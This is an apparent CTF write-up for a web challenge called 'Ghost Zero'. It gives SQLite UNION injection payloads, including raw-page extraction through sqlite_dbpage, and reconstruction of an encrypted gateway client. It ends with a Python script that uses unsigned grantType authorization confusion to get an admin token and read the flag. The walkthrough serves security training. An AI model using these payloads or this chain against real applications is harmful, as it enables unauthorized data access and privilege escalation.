← Back to Writeups
HTBN/AWeb

Ghost Zero

XESXOR8/23/20265 min read
#web#htb#n/a

Ghost Zero

Platform: D3C2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-25 | Status: Solved Techniques: union_sqli, sqlite_deleted_record_recovery, encrypted_gateway_reimplementation, pcap_analysis, authorization_confusion

Summary

Task: An encrypted search gateway hides a SQLite injection, deleted packet-capture record, and legacy authentication flow. Solution: Recover the raw database page, replay its hidden gateway target, and exploit unsigned grant-type authorization confusion.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: d3c2026 | ID: 20260725_d3c2026_ghost_zero
  • Tags: sqlite, SQLi, jwt, pcap, web_crypto, broken_access_control, aes_gcm, ecdh
  • Indicators: three-column SQLite UNION, sqlite_dbpage accessible despite pragma filtering, deleted database record referencing a PCAP, gateway target changes behavior when prefixed with a slash, unsigned grantType controls ticket exchange privilege
  • Source: 20260725_d3c2026_ghost_zero.md

Foothold

Vulnerability / Misconfiguration

  1. Union_sqli
  2. Sqlite_deleted_record_recovery
  3. Encrypted_gateway_reimplementation
  4. Pcap_analysis
  5. Authorization_confusion
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • union_sqli
  • sqlite_deleted_record_recovery
  • encrypted_gateway_reimplementation
  • pcap_analysis
  • authorization_confusion
  • Tags: sqlite, SQLi, jwt, pcap, web_crypto, broken_access_control, aes_gcm, ecdh

Original Writeup

<details><summary>Click to expand original content</summary>

Ghost Zero — d3c2026

Description

Born of light, lost to shadow~

The application presents a searchable archive. The goal is to follow the deliberately hidden historical evidence, obtain administrative authorization, and read the protected flag endpoint.

Analysis

1. Reimplementing the encrypted gateway

The frontend does not send searches directly. app.js creates a Web Worker, and crypto.worker.js performs the complete transport setup:

  1. Obtain a guest JWT from /api/session/guest.
  2. Generate an ephemeral P-256 key pair.
  3. Send the public JWK to /api/transport/bootstrap.
  4. Derive the ECDH shared secret from the returned server key.
  5. Derive separate 32-byte keys with HKDF-SHA256, using the labels ghost-packet:c2s and ghost-packet:s2c.
  6. Encrypt canonical JSON gateway requests with AES-GCM. The canonical packet metadata is authenticated as AAD.

The task artifact solve.py reproduces this protocol. Its essential request construction is:

aad = canonical({
    "direction": "c2s", "seq": seq, "sid": sid, "ts": ts, "v": 1
})
clear = canonical({"target": target, "body": body})
iv = os.urandom(12)
ct = AESGCM(c2s_key).encrypt(iv, clear, aad)

The response uses the independently derived server-to-client key and the same canonical AAD structure with direction set to s2c.

2. SQL injection and visible artifacts

The worker normally selects gateway target search, whose query parameter is SQL injectable. A three-column SQLite UNION is sufficient to enumerate the schema. Representative probes are:

x' UNION SELECT 1,group_concat(name,'|'),3 FROM sqlite_master--
x' UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'--

This reveals the random-looking table q_8f3c1a72d90e4b65. Its visible rows reference four packet captures and several decoys. The captures with malformed historical cryptographic material are distractions; breaking P-256, AES-GCM, or RSA is unnecessary.

3. Recovering the ghost record

The title and the words “lost to shadow” suggest data that once existed but is no longer returned by ordinary SQL queries. SQLite's dbstat and, more importantly, sqlite_dbpage remain accessible even though the application blocks names matching pragma_*.

Raw pages can be extracted through the same three-column injection:

zzzz' UNION SELECT pgno,hex(data),'page'
FROM sqlite_dbpage WHERE pgno=5--

dump_db.py repeats this for pages 1 through 5 and concatenates the 4096-byte results into a valid database.sqlite. Inspection of raw page 5 reveals a deleted table record tagged Ghost_Zero, containing:

/test/7f9c18a2e44d/fe291443882d55af94bff1f9cddffb73.pcap
SHA-256: 1829670b437f5d952df05bb7b4440772372e83c22ec799452d5da08a7957204b

The downloaded ghost-zero.pcap matches that SHA-256 value. This integrity check confirms that the recovered deleted record points to the intended artifact.

4. Reading the recovered PCAP

Following the HTTP streams reveals a historical authentication sequence:

POST /ddddddtestStat
Content-Type: application/json

{"principal":"ops-root","mode":"bootstrap","credentialType":"temporary"}

The response contains an exchange ticket, which is then submitted as follows:

POST /api/auth/exchange
Content-Type: application/json

{"ticket":"<FRESH_TICKET>","grantType":"legacy-bootstrap"}

The JWT signatures stored in the capture are synthetic and expired, so replaying the captured tokens is intentionally unsuccessful. The useful evidence is the route, request body, and grant type.

5. The leading-slash clue

The historical route is not directly exposed as a normal HTTP endpoint on the current instance. Instead, it is still registered behind the encrypted gateway dispatcher.

The exact gateway target is critical:

  • ddddddtestStat returns operation unavailable.
  • /ddddddtestStat returns a fresh, correctly signed exchange ticket.

The leading slash from the recovered HTTP request must therefore be preserved when converting the PCAP evidence into a gateway operation. This distinction is the main trick that connects the deleted artifact to the live application.

6. Authorization confusion in the exchange

The fresh ticket is valid but has signed scope session; it does not itself authorize administration. Nevertheless, /api/auth/exchange accepts the unsigned JSON field grantType: legacy-bootstrap as the authorization selector and returns an access JWT with role=admin and sub=ops-root.

This is not JWT forgery. It is privilege escalation caused by a trust-boundary error: the server verifies the ticket's signature but lets an unsigned request-body field choose a stronger grant whose privilege is not bound to the ticket's signed claims.

Solution

Run the supplied solve.py transport implementation and the following final chain against the active challenge instance:

#!/usr/bin/env python3
import json
import os

import requests

from solve import Client

base = os.environ["BASE"]
client = Client()

# The leading slash is mandatory.
issued = client.call("/ddddddtestStat", {
    "principal": "ops-root",
    "mode": "bootstrap",
    "credentialType": "temporary",
})
ticket = issued["data"]["exchangeTicket"]

exchange = requests.post(
    base + "/api/auth/exchange",
    json={"ticket": ticket, "grantType": "legacy-bootstrap"},
)
exchange.raise_for_status()
admin_token = exchange.json()["token"]

result = requests.get(
    base + "/api/flag",
    headers={"Authorization": "Bearer " + admin_token},
)
result.raise_for_status()
print(json.dumps({"status": result.status_code, "flag": "d3ctf{REDACTED}"}))

The complete local reproducer is final_chain.py. It obtains the fresh ticket, exchanges it using the legacy grant selector, and requests /api/flag with the returned admin JWT. The challenge hostname is instance-specific and should be supplied through BASE rather than hard-coded for later runs.

Artifacts

  • solve.py: P-256 ECDH, HKDF-SHA256, AES-GCM, and canonical-AAD gateway client.
  • dump_db.py: extraction and reconstruction of all five raw SQLite pages.
  • ghost-zero.pcap: recovered historical HTTP evidence; SHA-256 1829670b437f5d952df05bb7b4440772372e83c22ec799452d5da08a7957204b.
  • final_chain.py: minimal end-to-end ticket issuance, exchange, and protected endpoint request.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR